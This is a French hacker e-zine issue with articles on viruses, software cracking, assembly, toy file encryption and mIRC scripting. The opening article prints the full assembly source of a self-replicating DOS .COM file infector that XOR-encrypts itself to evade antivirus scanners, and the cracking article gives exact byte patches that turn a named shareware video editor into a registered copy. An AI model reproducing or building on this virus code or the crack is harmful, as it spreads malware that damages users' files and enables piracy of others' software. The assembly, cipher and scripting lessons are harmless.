Copy Link
Add to Bookmark
Report
Malicia Production Zine 3
*-----------------------*
**Malicia Production Zine**
*-----------------------*
NuMbEr 3
Introduction:
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Toujours plus chiant, plus emmerdant, plus rageant, plus ininteressant, plus
ennuyant......voila Malicia Production Zine 3... ;). Bon on continue nos
anneries habituelles avec pour les virus, la technique d'encryption. On
continue aussi les cours de cracking avec un nouveau schma de protection.
Pour l'asm on fait le point et on finit avec un groz article. De plus
je vous refourge encore un cours d'encryptage avec l'explication sur
comment casser le fichier de la semaine dernire ;). Et pour finir
dans la misre je vous propose un ptit cours de scripting...
Bon sinon n'hsitez pas
distribu ce zine, a servira ptt de
couverture
un pauvre dans la rue si vous l'imprimez...
freaking@caramail.com
<SaTaNiK>
Sommaire:
ÄÄÄÄÄÄÄÄÄ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Titre de l'article: ³ Sujet: ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Virus: Encryption ³ Virii ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Cours de Cracking 3 ³ Cracking ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Initiation
l'asm 3 ³ Asm ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Initiation au cryptage 3 ³ Cryptage ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Initiation au Scripting ³ Scripting ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
<--------------------------------->
Virus: Encryption
<--------------------------------->
Encrypter des virus??? Mais pourquoi faire??? Et bien pour la simple raison
qu'il y a des anti-virus(de plus en plus) qui detectent les codes qui
ressemblent
des virus....donc on camoufle tout a pour pas que le mchant
anti-virus dtruise notre gentil virus ;)). La seconde raison c pour
camoufler la signature:
***********************************************
copyright db 'Liberty of ExPrEsSiOn by SaTaNiK'
***********************************************
Car elle pourrait servir
detecter le virus dans le fichier...
Personnelement la mthode que j'utilise dans le virus i-dessous n'est pas la
meilleure car elle ncssite un buffer, mais c'est la seule mthode que j'ai
trouv pour crypter tout le code viral en entier...enfin si vous avez
une meilleure mthode n'hsitez pas ;).
Sinon j'utilise aussi une variable Crypted qui est
0 dans la version
originale du virus car il n'est pas crypt...elle est mise
1 en mmoire
avant que le virus s'encrypte et s'crive...
La mthode utilis par le virus est un simple xor...Ha autre chose, si vous
regardez le code du virus, je n'encrypte videmment pas l'index(encryption)
qui xor car sinon tout serait incorrect :).
******************************************************************************
code segment
; SEGMENT DE CODE
assume cs:code,ds:code
;CS ET DS POINTENT TOUT LES 2 SUR CODE
org 100h
;LES FICHIER COM COMMENCENT A 100H
debut:
db 0e9h,0,0 ;C'EST LE JUMP, NOUS EN AVONS BESOIN POUR
;FAIRE COMME SI LE PROGRAMME ETAIT
;INFECTE
virus:
call depart_virus ;POURQUOI UN CALL ET BIEN TOUT SIMPLEMENT
;POUR SAVOIR A QU'ELLE ADRESSE LE PROGRAMME
;DEVRA REVENIR EN CAS DE RET(LA VALEURE EST
;MISE SUR LA PILE)
depart_virus:
pop bp ;RECUPERE JUSTEMENT CETTE VALEURE
sub bp,OFFSET depart_virus ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART
;VIRUS POUR OBTENIR LE DEBUT DU CODE
;DU VIRUS...
cmp [bp+crypted],0 ;VERIFIE SI LE FICHIER EST CRYPTE
je remet_3_bytes
mov cx,end_virus-remet_3_bytes ;CALCULE LA LONGUEUR DU DECRYPTAGE
lea bx,[bp+remet_3_bytes] ;POINTE SUR LE CODE CRYPTE
mov al,[bp+encryption] ;MET LE CODE D'ENCRYPTION DANS AL
decrypte: ;BOUCLE DE DECRYPTAGE
xor byte ptr [bx],al ;XOR POUR DECRYPTER
inc bx
loop decrypte
remet_3_bytes:
mov cx,3 ;VA DEPLACER 3 OCTETS
lea si,[bp+OFFSET troisbytes] ;MET DANS SI LES 3 BYTES ORIGINAUX
mov di,100h ;MET A 100h(EN MEMOIRE LES COMS COMMENCENT
;A 100h...)
rep movsb ;REMET LES OCTETS ORIGINAUX
init_dta:
lea dx,[bp+OFFSET dta_place] ;MET DANS DX L'ADRESSE DE hide_dta
mov ah,1ah ;FONCTION 1Ah
int 21h ;LANCE L'INTERRUPTION
trouve:
mov ah,4eh ;PREMIERE RECHERCHE
lea dx,[bp+comsig] ;MET LE NOM DU FICHIER QU'ON CHERCHE
;DANS DX(ici *.com)
mov cx,7 ;RECHERCHE UN FICHIER AVEC N'IMPORTE
;QUELLE ATTRIBUTS...
cherche:
int 21h ;LANCE LA RECHERCHE
jnc ouvre ;SI FICHIER TROUVE SAUTE A ouvre
jmp fin_cherche ;SINON VA A fin_cherche
ouvre:
mov ax,3d02h ;FONCTION 3Dh
lea dx,[bp+OFFSET dta_place+1eh] ;DTA_PLACE+1eh CONTIENT LE NOM
;DU FICHIER TROUVE
int 21h ;LANCE L'INTERRUPTION
mov bx,ax ;MET BX DANS AX
mov ah,3fh ;LIT LES 3 BYTES QUI VONT CHANGE
lea dx,[bp+troisbytes] ;ET PIS LES MET DANS troisbytes
mov cx,3
int 21h ;EFFECTUE LA LECTURE
mov ax,word ptr [bp+dta_place+1ah] ;MET DANS AX LA TAILLE DU FICHIER
mov cx,word ptr [bp+troisbytes+1] ;MET DANS CX LES 2 DERNIERS BYTES
;DU JUMP DONC LA TAILLE DU
;FICHIER SI INFECTE
add cx,real_end-virus+3 ;Y AJOUTE LA TAILLE DU VIRUS
cmp ax,cx ;COMPARE LES 2
jz ferme ;SI EGALE ALORS INFECTE
sub ax,3 ;ENLEVE TROIS A LA TAILLE
;CAR NOUS LES AVONS DEJA LUS
mov word ptr [bp+newjump+1],ax ;MET DANS LES 2 DERNIERS BYTES
;DE NEWJUMP LA TAILLE DU FICHIER
;ET DONC CALCULE LE SAUT QUI
;REMPLACERA LES 3 bytes
mov ax,4200h ;VA AU DEBUT DU FICHIER
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ;ET ECRIT LES 3 BYTES
mov cx,3
lea dx,[bp+newjump]
int 21h
mov ax,4202h ;VA A LA FIN DU FICHIER
xor cx,cx
xor dx,dx
int 21h
push bx ;SAUVEGARDE LE HANDLE DU FICHIER
mov [bp+crypted],1 ;LE FICHIER SERA CRYPTE
lea si,[bp+remet_3_bytes] ;COPIE TOUT CE QUI EST A CRYPTE
lea di,[bp+Buffer] ;DANS LE BUFFER
mov cx,end_virus-remet_3_bytes
rep movsb
mov cx,end_virus-remet_3_bytes ;TAILLE DU CODE A CRYPTE
lea bx,[bp+Buffer]
inc [bp+encryption]
mov al,[bp+encryption]
crypt_for_your_pleasure: ;CRYPTE LE FICHIER
xor byte ptr [bx],al
inc bx
loop crypt_for_your_pleasure
pop bx ;RECUPERE LE HANDLE FICHIER
mov ah,40h ;ECRIT LE DEBUT DU VIRUS
mov cx,remet_3_bytes-virus ;QUI N'EST PAS CRYPTE
lea dx,[bp+virus]
int 21h
mov ah,40h ;ECRIT LE CODE
mov cx,end_virus-remet_3_bytes ;CRYPTE
lea dx,[bp+Buffer]
int 21h
mov ah,40h ;ECRIT LES VARIABLES
mov cx,real_end-end_virus ;NECESSAIRES AU DECRYPTAGE...
lea dx,[bp+end_virus]
int 21h
ferme:
mov ah,3eh ;FERME LE FICHIER
int 21h
mov ah,4fh ;CHERCHE PROCHAIN FICHIER
jmp cherche
fin_cherche:
mov dx,80h ;REMET LE DTA A SA PLACE ;)
mov ah,1ah
int 21h
mov di,100h ;CONTINUE LE COM NORMALEMMENT
jmp di
comsig db '*.com',0
troisbytes db 0cdh,20h,0
newjump db 0e9h,0,0
copyright db 'Liberty of ExPrEsSiOn by SaTaNiK' ;SIGNATURE ;)
message db 'Fuck Policians!!!!' ;UN PTIT MESSAGE :))
end_virus label near
encryption db 33h ;INDEX D'ENCRYPTION
crypted db 0
Buffer db end_virus-remet_3_bytes dup (0) ;BUFFER POUR LES DONNES
;CRYPTES
real_end label near
dta_place db 42 dup (?)
code ENDS
END debut
******************************************************************************
Bon voil
, notre virus est de plus en plus volumineux, mais 574 octect a
va encore ;)). Bon sinon la variable encryption est incrment
chaque
generation(chaque nouvelle infection) pour que le cryptage change
chaque
fois.
J'ai reflechit au moyen de se passer du buffer(ce qui double presque la taille
du virus) et un moyen bien sympa serait d'utiliser la mmoire vido
comme buffer, ce qui diminuerait la taille du buffer et ne devrait pas
poser de problme....c'est pas difficile
faire, si vous codez un virus
utilis plutt cette technique :).
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
CoUrS dE CrAcKiNg
*-*-*-*-*-*-*-*-*-*-*-*
Eh oui je continue, et cette fois nous allons attaquer un schma de
protection encore assez utilis et COMPLETEMENT STUPIDE!!!!
Comme d'ab:
-Softice V3.2
La meilleure arme du crackeur
W32Dasm V8.9
Le meilleur bouclier du crackeur
Bon cette fois nous allons nous attaquer
un programme qui s'apelle
Personal Avi Editor V1.5 qui est en fait une sorte de Adobe Premiere mais
beaucoup moins puissant, un outils pour manipuler les videos quoi....
Bon premier rflexe du crackeur, on dsassemble Pae.exe pour avoir
Le programme vu dans son ensemble et on regarde et recherche les choses
interessantes...Premiere chose allons dans string reference, voyons:
'Your Trial and Registration has expired'. Interessant mais il existe
plusieurs rfrences donc ce n'est pas la bonne solution...Dialog references
, Menu references, rien d'interessant l
non plus...Dcidemment W32Dasm ne
dsassemble pas si bien que a :)).
La chose n'ayant pas port ses fruits on va utiliser une autre
mthode, nous allons augmenter la date de windoz pour que le message de
Cit plus haut apparaisse, on essaye et....a marche! Bon nous allons
ici utiliser un outils offert avec Softice qui est le Symbol Loader, ce
programme permet de lancer softice ds le dmarrage du programme...Donc vous
allez dans Fichier->Open Module et vous choisisez Pae.exe. Une fois cette
opration ffctu vous allez dans Module->Load, il vous demanderas si vous
tes sur de vouloir le lancer et vous rpondez oui bien sur :).
A partir de ce point la softice apparait(magique :) et vous tracez
dans le programme comme un fou jusqu'a ce qu'apparraise la boite de dialogue
, la vous cliquez sur Ok et softice apparait. Maintenant vous regardez
l'endroit auquel vous vous trouvez et vous observez le code qui prcde:
*******************************************************************
cmp byte ptr [4E9A], 00 ;compare la mmoire 4E9A avec 00
je 7E76 ;si gal le nag-screen n'apparait pas
<ici code pour le nag-screen>
*******************************************************************
Si vous avez lu mes 2 premiers tutorials vous vous dtes bah on
va changer ce ptit je en jmp et op plus de problme...mais si vous faites
a, certe plus de time-limit mais toujours en version Shareware...hmmm ce
n'est pas des plus intressant...Regardons plutt la comparaison, donc si
4E9A est gal
0 plus de nag-screen, interessant a...Mais ou donc est
initialis la valeure de 4E9A???
Pour le savoir, rien de plus simple, vous allez dans W32Dasm, vous
cliquez sur Search->Find Text et vous regardez...Vous tombez ds la premire
fois sur qqchose de trs interessant:
********************************************************
mov byte ptr [4E9A], al ;met le registre al dans 4E9A
xor ax,ax :met ax
0
********************************************************
Et alors l
, comme dans un rve, la solution blouissante apparait
aux yeux du crackeurs: Si 4E9A est
0 plus de nags screen...et donc si
nous inversons les 2 deux instructions 4E9A est
0!!!!!
Il suffit donc de changer les bytes suivants:
A2-9A-4E-31-C0
en
31-C0-A2-9A-4E
Nous relenons donc le logiciel et l
hooooooo miracle le logiciel
n'a non seulement plus de nag-screen mais le logiciel est en version
enregistr!!!!!!!
Ceci est vraiment le schma de protection le plus imbcile que j'ai
rencontr(enfin Moray tait pas mal non plus)...
croire que les programmeurs
ont voulu donner la solution en main aux crackeurs ;)).
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
&&&&&&&&&&&&&
*Cours d'asm*
* 3 *
&&&&&&&&&&&&&
Cette fois i je vais tudier ce qu'il nous reste comme fonctions diverses
et varis en asm...
vrais dire pas mal ;). Mais tout d'abord je voudrais
vous parlez de qqchose d'assez important:
*************
*indicateurs*
*************
Les indicateurs se trouvent en fait dans un registre, le registre d'tat...
ces indicateurs, sont tout le temps modifis par les fonctions...par exemple
quand vous fates un cmp ax,bx et bien un indicateur est modifi en
consquence du rsultat...et les jumps divers(je, jb...) ne font en fait
que tester ces indicateurs...j'avais besoin de faire cette mise au point
pour aller dans un raisonnement plus clair de l'asm... :) Ha une dernire
chose, comme vous vous en doutez surement les indicateurs sont sur 1 bit
donc soit 1 soit 0...
******
*loop*
******
Loop est tout simplement un instruction pour faire une boucle(et oui a
existe aussi en asm c trucs l
;). Vous mettez dans cx le nombre d'iterations
un label, vos intructions et pis loop label.....
ex:
----------------------------------------------------------------
mov cx,5 ;Met 5 dans cx(il va faire la boucle 5 fois
xor ax,ax ;Met ax
0
jolie_boucle: ;Le label
inc ax ;Incremente(+1) eax
loop jolie_boucle ;Faite une belle boucle
;ax=5 maintenant
----------------------------------------------------------------
*****
*rep*
*****
Rep est une instruction pour......rpeter ;). En fait a marche
peu prs
comme loop sauf que une seule instruction peut tre rpte...mais il existe
des sous-types dans le rep...
Repz est celui dont on se sert le plus souvent car il permet de comparer
les chaines de caractre accompagn de l'instruction cmpsb.
ex:
-------------------------------------------
mov cx,8 ;TESTE 8 CARACTERES
lea si,chaine1 ;POINTE SUR CHAINE1
lea di,chaine2 ;POINTE SUR CHAINE2
repz cmpsb ;REPETE TANT QUE CX!=0
;OU QUE ZF==1
jz chaine_egales
-------------------------------------------
Houla, a se complexe, mais quesque que ce ZF???? Et bien c'est tout
simplement un indicateur...en fait la fonction cmpsb compare les pointeurs
si et di et quand elle trouve un diffrence elle met cet indicateur
0
donc
la fin de la fonction si aucune diffrence n'a t trouv ce
registre sera toujours
1 et donc jz qui teste cet indicateur fera le saut.
(oufffffff j'ai russi ;)).
************
*inc et dec*
************
Inc et dec permettent respectivement d'augmenter de 1 ou de soustraire un
un registre....
*******
*movsb*
*******
Movs deplace la valeur point par DS:SI
celle point par ES:DI...movsb
deplace un octect...movsw deplace un mot(2 octects) et movsd deplace un
double mot(4 octets).
*******
*cmpsb*
*******
Mmme chose ici, cmpsb compare la valeure point par DS:SI
celle point
par ES:DI....et ici aussi il y a cmpsw et cmpsd....
*****
*mul*
*****
Mul multiplie la variable eax par celle prcis aprs mul...rien de bien
compliqu en fait
ex:
---------------------------------------
mov eax,2 ;Met dans eax la valeure 2
mul 5 ;Multiplie par 5
;eax contient 10
---------------------------------------
*****
*div*
*****
Div fonctionne de la mmme faon que mul except que le reste est plac
dans edx.....
*********
*add&sub*
*********
Add et sub permettent d'......ajouter de de soustraire(non? vous aviez
devin?).
ex:
--------
add ax,3
sub ax,1
--------
Bon voil
qui est suffisant et qui vous suffira je pense, videmment l'asm
dispose de beaucoup plus de fonctions mais elles ne sont pas toutes trs
interessantes.....mais si vous desirez en savoir plus je vous conseille
d'acheter un bouquin ;).
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
!!**------------------------**!!
**!!Initiation au cryptage 3!!**
!!**------------------------**!!
D'abord je vais vous expliquer comment decrypter le fichier de la dernire
fois...en fait c'tait trs simple
cause de a:
*************************************
for(index=0;index<10;index++)
{
buffer[index]=Signature[index];
buffer[index2]+=good_key[index2];
crypt^=Signature[index2++];
if(index2==10)
{
index2=0;
}
crypt+=Signature[index2];
buffer[index]^=crypt;
}
*************************************
Pourquoi? et bien tout simplement car nous connaissons les 10 premiers
caractres du fichier, et ils nous permettent de rcuperer le code =).
Et oui nous connaissons Signature!!! pour rcuperer le code il suffit donc de
faire:
****************************************
for(index=0;index<10;index++)
{
crypt^=Signature[index2++]; //xor crypte comme dans original
if(index2==10)
{
index2=0;
}
crypt+=Signature[index2]; //ajoute la signature comme dans
//l'original
buffer[index]^=crypt; //Xor le buffer(inverse original)
buffer[index]-=Signature[index]; //Et lui soustrait Signature
good_key[index]=buffer[index]; //Met la cl dans good_key
}
****************************************
Plutt simple non :)? Aprs le reste est plutt faile....mais enfin je vous
met quand mmme la source du decrypteur car j'ai fait moi mmme qques erreurs
en le codant(enfin l
y en a plus ;).
******************************************************************************
#include <process.h>
#include <string.h>
#include <iostream.h>
#include <conio.h>
#include <ctype.h>
#include <stdio.h>
#include <malloc.h>
void main(int argc, char *argv[])
{
unsigned long taille;
unsigned long index;
unsigned char *buffer;
unsigned char index2;
unsigned char Signature[10];
unsigned char good_key[50];
unsigned char crypt=33;
FILE *to_crypt;
FILE *crypted;
printf("Spiritic DeCrypter By SaTaNiK V0.2\n\n");
if(argc!=3)
{
printf("Usage:\n");
printf("Crypter <source_file> <decrypted_file>\n");
exit(0);
}
to_crypt=fopen(argv[1],"r+b");
if(to_crypt==NULL)
{
printf("Can't open source file...\n");
exit(1);
}
crypted=fopen(argv[2],"wb");
if(crypted==NULL)
{
printf("Can't create crypted file...\n");
exit(1);
}
for(index=0;index<50;index++)
{
good_key[index]=0;
}
try_again:
fseek(to_crypt,0,SEEK_END);
taille=ftell(to_crypt);
fseek(to_crypt,0,SEEK_SET);
buffer=(unsigned char *)malloc((taille+10));
if(buffer==NULL)
{
printf("Can't allocate enough memory...\n");
exit(1);
}
printf("I'm decrypting master...\n");
index2=0;
Signature[0]='S';
Signature[1]='p';
Signature[2]='i';
Signature[3]='r';
Signature[4]='i';
Signature[5]='t';
Signature[6]='i';
Signature[7]='c';
Signature[8]='C';
Signature[9]='r';
fread(buffer,1,10,to_crypt);
for(index=0;index<10;index++)
{
crypt^=Signature[index2++];
if(index2==10)
{
index2=0;
}
crypt+=Signature[index2];
buffer[index]^=crypt;
buffer[index]-=Signature[index];
good_key[index]=buffer[index];
}
for(index=0;index<taille-10;index++)
{
buffer[index]=(unsigned char)getc(to_crypt);
crypt^=Signature[index2++];
if(index2==10)
{
index2=0;
}
crypt+=Signature[index2];
buffer[index]^=crypt;
if(index2!=0)
{
buffer[index]-=good_key[index2-1];
}
else
{
buffer[index]-=good_key[9];
}
}
fwrite(buffer,1,taille-10,crypted);
printf("File decrypted successfully :)\n");
exit(0);
}
******************************************************************************
Bon voil
donc pour decrypter le fichier de la dernire fois vous tapez:
decrypter Hello.cry Hello.dec
Et puis vous obtenez un b resultat(sisi a marche ;).
Bon sinon pour les codeurs enduri que nous sommes j'ai prvu un autre
encrypteur, beaucoup plus dur
casser vous pouvez me croire ;).
******************************************************************************
#include <process.h>
#include <string.h>
#include <iostream.h>
#include <conio.h>
#include <ctype.h>
#include <stdio.h>
#include <malloc.h>
void main(int argc, char *argv[])
{
//DES VARIABLES DIVERSES...
unsigned long taille;
unsigned long index;
unsigned char *buffer;
unsigned char index2;
unsigned char good_key[50];
unsigned char table[100];
unsigned char crypt=33;
FILE *to_crypt;
FILE *crypted;
//PRESENTATION
printf("Spiritic Crypter By SaTaNiK V0.2\n\n");
//IL N'AS PAS RENTREE 3 ARGUMENTS....
if(argc!=3)
{
printf("Usage:\n");
printf("Crypter <source_file> <crypted_file>\n");
exit(0);
}
//OUVRE LE FICHIER A CRYPTE
to_crypt=fopen(argv[1],"r+b");
if(to_crypt==NULL)
{
printf("Can't open source file...\n");
exit(1);
}
//OUVRE LE FICHIER CRYPTE
crypted=fopen(argv[2],"wb");
if(crypted==NULL)
{
printf("Can't create crypted file...\n");
exit(1);
}
//DEMANDE LA CLEE
try_again:
for(index=0;index<50;index++)
{
good_key[index]=0;
}
printf("Enter the magic key:\n");
cin >> good_key;
if(good_key[9]==0)
{
printf("You don't enter a good key...\n");
printf("Are you completely stupid????\n");
printf("I give you another chance...\n");
goto try_again;
}
fseek(to_crypt,0,SEEK_END);
taille=ftell(to_crypt);
fseek(to_crypt,0,SEEK_SET);
buffer=(unsigned char *)malloc((unsigned int)taille);
if(buffer==NULL)
{
printf("Can't allocate enough memory...\n");
exit(1);
}
index2=0;
printf("Generating Table...\n");
for(index=0;index<100;index++)
{
table[index]=(unsigned char)index;
crypt^=(unsigned char)(255-index);
table[index]*=good_key[index2++];
if(index2==10)
{
index2=0;
}
table[index]-=crypt;
}
printf("I'm crypting master...\n");
fwrite("Spiritic Crypter",1,16,crypted);
fread(buffer,1,(unsigned int)taille,to_c rypt);
index2=0;
for(index=0;index<taille;index++)
{
buffer[index]^=table[index2++];
if(index2==100)
{
index2=0;
}
}
fwrite(buffer,1,(unsigned int)taille,crypted);
printf("File crypted successfully :)\n");
exit(0);
}
******************************************************************************
Bon bein voil
:). Si qqun arrive
decrypter le fichier
Hello.cry qui se trouve avec le mag qu'il le dise ;). Sinon j'expliquerai
comment le casser la prochaine fois :).
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
-----------
***//Scripting\\**
-----------
Ici nous allons parler de script, et plus exactement comment en
crire =). J'cris cet article car je sais que pas mal de gens aimerait si
mettre...et qu'ils ne savent pas trop comment, alors moi je m'y suis mit
et pis c pas bien compliquer...enfin vous allez voir ;).
La premire chose
faire c'est installer la dernire version de
Mirc, une version clean quoi. Bon ensuite on look les differents fichiers
ini:
*Popups.ini*
C'est en fait le fichier qui permet de changer le menu Commands ainsi que
ce qui apparait quand vous fates un click droit sur un channel ou sur un
nick...
*Aliases.ini*
c'est le fichier qui permet de n'utiliser qu'une commande plutt que plusieurs
, par exemple Mirc a
la base:
-----------------------------
n0=/op /mode # +ooo $$1 $2 $3
-----------------------------
Cela permet d'utiliser la commande /op plutt que /mode # +ooo nick
*Mirc.ini*
Ce fichier permet beaucoup de chose car c'est le fichier principal de
Mirc, il permet de changer le nom des fichiers Alias, Popups et tout le
bazard, de jouer un wav quand on vous ping par exemple, ainsi de suite. Il
permet aussi de rajouter des fichiers de commandes.....
Bon aprs ces ptites descriptions, on va tout de suite amliorer Mirc...
D'abord looker pour le ptit descripteur '[rfiles]'. Ensuite rajoutez une
ligne genre:
n2:events.ini
ou le nom de fichier que vous voulez....
Ensuite cre un fichier events.ini et marquez sur la premire ligne
[script]
ensuite on va crer en fait des fonctions permanentes....c'est fonctions
commencent toujours par n+numro de ligne en commanant par 0...ce chiffre
est suivit d'un =
Ensuite pour crer un fonction vous mettez un dise(#) puis le nom de la
fonction suivit d'un espace et de on ou off selon que vous vouliez qu'elle
soit en marche ou pas au moment ou le script dmarre...
A la fin de la fonctions vous mettez si vous devez signaler
Mirc que la
fonction est finit:
n(ligne)=#nom_de_fonction end
Bon pour simplifier la chose je vous donne ici un exemple de fichier
events.ini:
******************************************************************************
[script]
n0=#ldetect on
n1=on 1:TEXT:*salut*:#:/notice $nick Salut man!!!!
n2=#ldetect end
******************************************************************************
Ce bout de script
pour effet de faire un notice sur qqun quand il dit
salut dans un phrase....plutt simple non??? Ce script est on tout le temps
je vous apprendrais dans le prochain numro comment le dsactiver et tout
un tas de trucs sympa....
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
********
"Epilogue"
********
Et voil
encore un numro de finit dans l'allegresse de la rentre ;).
Sinon je voudrais faire un mega-greet
tout ceux qui font des freeware et
ceux qui distribuent des musiques gratuitement(fuck Mp3z)......et oui
quesque vous voulez, je prefere ce qui est gratuit surtout quand c'est de
meilleure qualit :)).....
ce propos, je vais peut tre programmer un ptit
programme pour crer des textures, un freeware videmment...car je n'ai pas
trouv sur le march de logiciels vraiment convaincant....alors si qqun veut
m'apporter de l'aide ;).
GrEeTiNgS:
-A tout les groupes Hack et dmos
-#pirate
-Squab(Pourquoi ne pas crire un article pour mon zine ;)?
-Lagoon(Merci pour le Reporter ;)
-Prezz(Ou es tu?)
-Tout ceux qui supportent ce mag
-Les lecteurs(oui vous l
;)
FuCk HaRd:
-Tout les channels warez
la con
-Bondz007
-Tout les lamerz de la galaxie(un dbutant n'tant pas forcement un lamer ;)
-Tout les gamerz
Billou Le SaTaNiK
http://members.xoom.com/SaTaNoS/